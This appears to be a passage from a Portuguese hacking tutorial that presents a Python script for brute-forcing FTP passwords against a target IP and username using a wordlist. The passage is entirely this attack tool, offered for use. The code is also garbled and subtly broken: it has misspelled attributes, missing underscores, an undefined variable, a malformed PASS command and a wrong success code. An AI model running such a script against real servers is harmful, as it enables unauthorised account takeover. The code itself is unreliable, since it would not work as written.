## Construindo sua Própria Ferramenta

 $\alpha$ 

Brute Force: FTP

```
#!/usr/bin/python
import socket, sys, re
if len(sys,argv) != 3:
    print "Modo de uso: python catftp.py 172.0.0.1 usuario"
    sys.exit()
target = sys.argv[1]
usuario = sys.argv[2]
f = open("wordlist.txt")
for palavra in f.readlines():
    print "Realizando brute force no FTP: %s:%s"%(usuario, senha)
    s = socket.socket(socket.AF INET, socket.SOCK STREAM)
    s.connect((target, 21))
    s.recv(1024)
    s.send("USER "+usuario+"\r\n")
    s.recv(1024)
    s.send("PASS"+palavra+"\r\n")
    resposta = s.recv(1024)
    s.send("QUIT\r\n")
    if re.search('238', resposta):
        print "[+] Senha encontrada ---->",palavra
        break
```
